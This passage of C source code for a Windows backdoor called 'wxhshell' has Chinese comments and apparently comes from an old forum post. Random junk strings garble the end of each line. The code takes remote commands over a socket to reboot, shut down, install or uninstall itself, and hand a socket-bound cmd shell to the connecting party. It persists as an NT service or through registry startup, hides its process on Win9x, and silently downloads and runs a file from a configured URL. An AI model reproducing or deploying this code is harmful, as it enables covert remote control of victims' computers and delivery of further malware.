      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UX9r_U5)  
    break; $h({x~Oj9  
  } JpFfO<uO  
  // 安装 :-I~-Yj  
  case 'i': { vWM3JH~a6  
    if(Install()) RuW62QSq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *i}Nb* Z3  
    else D9#?l <D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r dc} e"v  
    break; Q|^TR__  
    } 7d7"^M  
  // 卸载 %/86}DCfE?  
  case 'r': { nmLn]U=  
    if(Uninstall()) /p=9"?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !+E|{Zj  
    else ~}c`r4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2(, `9  
    break; E%f;Z7G  
    } | Q Y_ci  
  // 显示 wxhshell 所在路径 3M nm2*\  
  case 'p': { k#4%d1O}  
    char svExeFile[MAX_PATH]; Q}?yj,D D  
    strcpy(svExeFile,"\n\r"); :oH~{EQ  
      strcat(svExeFile,ExeFile); .Q,IOCHk  
        send(wsh,svExeFile,strlen(svExeFile),0); "]jGCo>9  
    break; =-ky%3:`@  
    } 31w9$H N  
  // 重启 NW.<v /?=,  
  case 'b': { cR0RJ$[d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S_z}h  
    if(Boot(REBOOT)) V7zF5=w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m]bv2S+5y  
    else { WhO;4-q)2  
    closesocket(wsh); yAu-BObD  
    ExitThread(0); FyZa1%Tv@  
    } k \|[=  
    break; H$:Z`CQt<  
    } VtR?/+8X  
  // 关机 $GzTDq Y9@  
  case 'd': { KPGX/l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `Z3Qx~f x  
    if(Boot(SHUTDOWN)) CvCk#:@HM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hrwQh2sm  
    else { YU89m7cc'  
    closesocket(wsh); {[~ !6&2(k  
    ExitThread(0); +fgF &.  
    } ^lqcF.  
    break; }`oe<|  
    } [TZlvX(E  
  // 获取shell Xwg|fr+p  
  case 's': { FkdG@7Xf  
    CmdShell(wsh); @quNVx(y  
    closesocket(wsh); _]"5]c&*3  
    ExitThread(0); w1J&c'-  
    break; wff&ci28  
  } $B6"fYiDk  
  // 退出 k,L,  
  case 'x': { t'uZho~^F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 05(lh<C  
    CloseIt(wsh); \#(cI  
    break; E^.y$d~dS  
    } G`9\v=0  
  // 离开 >IW0YIQy,  
  case 'q': { ;79X# hI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); AsRS7V  
    closesocket(wsh); SR 9 Cl  
    WSACleanup(); i$) `U]  
    exit(1); q16RPqfT  
    break; [sC]<2 r  
        } {Gnji] v  
  } w][1C\8m  
  } ti:qOSIDTA  
m6BIQ(l  
  // 提示信息 ,}!OJyT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8>Xyz`$kH  
} ~jab/cR  
  } _y}]j;e8>{  
Azx4+`!-  
  return; q$EicH}k8  
} IqK??KSC  
aU]A#g   
// shell模块句柄 pYo]lO  
int CmdShell(SOCKET sock) $_-f}E  
{ G9s: Wp  
STARTUPINFO si; +OFq=M  
ZeroMemory(&si,sizeof(si)); `A@{})+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \UI7H1XDH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ] X,C9  
PROCESS_INFORMATION ProcessInfo; [&n2 yt  
char cmdline[]="cmd"; m~%\f8w-x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p=U*4[9k  
  return 0; *0)vsBi  
} 6(4FC?Y7  
+'abAST t  
// 自身启动模式 :\x)`lu  
int StartFromService(void) N"2Ire  
{ JcEPwF.  
typedef struct VnUW UIVJ  
{ [HB>\   
  DWORD ExitStatus; <d,Qi.G4  
  DWORD PebBaseAddress; #%U5,[<a8  
  DWORD AffinityMask; _tZT  
  DWORD BasePriority; n?*Fr sZ  
  ULONG UniqueProcessId; "nX L7N0  
  ULONG InheritedFromUniqueProcessId; l~,5)*T  
}   PROCESS_BASIC_INFORMATION; d\}r.pD  
0  ;$[  
PROCNTQSIP NtQueryInformationProcess; <6`_Xr7)  
X cmR/+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &g R+D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DVxW2J  
q.0a0 /R  
  HANDLE             hProcess; q3\ YL?  
  PROCESS_BASIC_INFORMATION pbi; <Q'J=;vV  
S[rz=[7{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3z9}cOFq]z  
  if(NULL == hInst ) return 0; 8 /1 sy.R  
Zr,:i MPZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G2Eke;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x@3Ix, b'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i-)OY,  
z{U2K '  
  if (!NtQueryInformationProcess) return 0; (]0JI1 d  
8^CdE*a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =Jfo=`da  
  if(!hProcess) return 0; tgy*!B6a~  
|Id0+-V ?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !Mp.jE  
y@"6Dt|  
  CloseHandle(hProcess); (j;s6g0  
62~8>71;'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W'x/Kg,w-  
if(hProcess==NULL) return 0; 6p%;:mDB  
p`lv$ @q'  
HMODULE hMod; 5y;texsj[  
char procName[255]; -@{5 u d  
unsigned long cbNeeded; !E<y:$eH:  
UU')V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5Jd(&k8%  
To1 .U)do  
  CloseHandle(hProcess); B2Qt tcJ  
LIYj__4=|  
if(strstr(procName,"services")) return 1; // 以服务启动 r9<OB`)3+  
rf_(pp)  
  return 0; // 注册表启动 n}(/>?/  
} (055>D6  
<&:OSd:%  
// 主模块 Zq7Y('=`t@  
int StartWxhshell(LPSTR lpCmdLine) };"-6e/9  
{ -J8&!S8X  
  SOCKET wsl; !t/I j~o  
BOOL val=TRUE; f QSP]?  
  int port=0; v< qN -zG  
  struct sockaddr_in door; - Te+{  
&@CcH_d*  
  if(wscfg.ws_autoins) Install(); (27bNKr  
v7x %V%K  
port=atoi(lpCmdLine); k^ B<t'  
D+G?:m R  
if(port<=0) port=wscfg.ws_port; K TJm[44  
t]LOBy-Kv  
  WSADATA data; !5lb+%7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "J|{'k`  
(Tt\6-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qyzmjV6J2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~R-P%l P  
  door.sin_family = AF_INET; j4h6p(w{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o ?z A'5q  
  door.sin_port = htons(port); ,TL8`  
,.;q[s8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W]b>k lp;  
closesocket(wsl); m{T:<:q~  
return 1; ,MH/lQq%  
} JmL{&  
v4c*6(m  
  if(listen(wsl,2) == INVALID_SOCKET) { [\eh$r\   
closesocket(wsl); -I dW-9~9  
return 1; Gf``0F)  
} '/l<\b/E  
  Wxhshell(wsl); zf+jQ  
  WSACleanup(); LY Y3*d  
9yla &XTD  
return 0; % NSb8@  
DJ)Q,l*|N9  
} MvV\?Lzj   
_Q XC5i  
// 以NT服务方式启动 h"R{{y f2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cQM_kV??!  
{ E6+c{41B  
DWORD   status = 0; wD+4#=/j  
  DWORD   specificError = 0xfffffff; L\;n[,.  
k# -u!G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ndW]S7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _{$eOwB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r"HQ>Wn  
  serviceStatus.dwWin32ExitCode     = 0; "u29| OY  
  serviceStatus.dwServiceSpecificExitCode = 0; pjG/`  
  serviceStatus.dwCheckPoint       = 0; 'Lm\ r+$F  
  serviceStatus.dwWaitHint       = 0; W}^X;f  
yhTC?sf<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t5t!-w\M$+  
  if (hServiceStatusHandle==0) return; g~ubivl2  
T$ w`=7  
status = GetLastError(); ))M!"*  
  if (status!=NO_ERROR) 8NP|>uaj  
{ i`k{}!F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E~]37!,\\9  
    serviceStatus.dwCheckPoint       = 0; k5M3g*  
    serviceStatus.dwWaitHint       = 0; :c03"jvYE  
    serviceStatus.dwWin32ExitCode     = status; _=Y?' gHH  
    serviceStatus.dwServiceSpecificExitCode = specificError; mf4C68DI@u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N{kp^Byim0  
    return; jimWLF5Q5"  
  } 6l Suzu  
Rda~Drz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y}5:CZ  
  serviceStatus.dwCheckPoint       = 0; ULT,>S6r  
  serviceStatus.dwWaitHint       = 0; -!Ov{GHr0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y6#AL<W@=  
} 2g0_[$[m  
$c^,TAN  
// 处理NT服务事件,比如:启动、停止 Cpg>5N~;L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `2 6t+Tb  
{ J_-K"T|f  
switch(fdwControl) {KQ]"a 6  
{ >]dH1@@  
case SERVICE_CONTROL_STOP: P:8 qm DXo  
  serviceStatus.dwWin32ExitCode = 0; v?6g. [;?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {wK| C<K  
  serviceStatus.dwCheckPoint   = 0; )#%v1rR  
  serviceStatus.dwWaitHint     = 0;  yxx9h3  
  { |[+/ ]Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NC @L,)F  
  } ~7;AV(\%e  
  return; [N=v=J9  
case SERVICE_CONTROL_PAUSE: 8?l/x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8u|F %Sg  
  break; 0(o{V:l%Z|  
case SERVICE_CONTROL_CONTINUE: ] Hiw+5n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ja2BK\"1:  
  break; ",, W1]"%  
case SERVICE_CONTROL_INTERROGATE: 6B8g MO  
  break; &m5FYm\  
}; ^}Wk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yiO/0nMp  
} ?"@`SEdnU2  
]=Tle&yM+T  
// 标准应用程序主函数 aGz$A15#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tS[@3h  
{ cqd}.D  
k]"DsN$  
// 获取操作系统版本 W ])Lc3X  
OsIsNt=GetOsVer(); JmBe1"hs  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DnP "7}v  
HSG7jC'_  
  // 从命令行安装 wdMVy=SS  
  if(strpbrk(lpCmdLine,"iI")) Install(); ehTRw8"R  
v$d^>+Y#  
  // 下载执行文件 `z1E]{A  
if(wscfg.ws_downexe) { !+o`,KTYp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 96#aG h>  
  WinExec(wscfg.ws_filenam,SW_HIDE); p|0ZP6!|  
} 2~B9 (|  
VKb=)v[K  
if(!OsIsNt) { ]1)#Y   
// 如果时win9x,隐藏进程并且设置为注册表启动 )RCva3Ul  
HideProc(); yM PZ}  
StartWxhshell(lpCmdLine); zd0 [f3~  
} 38zG[c|X  
else {b,#l]v  
  if(StartFromService()) P9f,zM-  
  // 以服务方式启动 E'^$~h$  
  StartServiceCtrlDispatcher(DispatchTable); 7=`_UqCV  
else Cj5=UUnO  
  // 普通方式启动 @AfC$T  
  StartWxhshell(lpCmdLine); L (@".{T  
EC8Fapy  
return 0; @Wl2E.)K;  
}
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只看该作者 1 发表于: 2006-10-10
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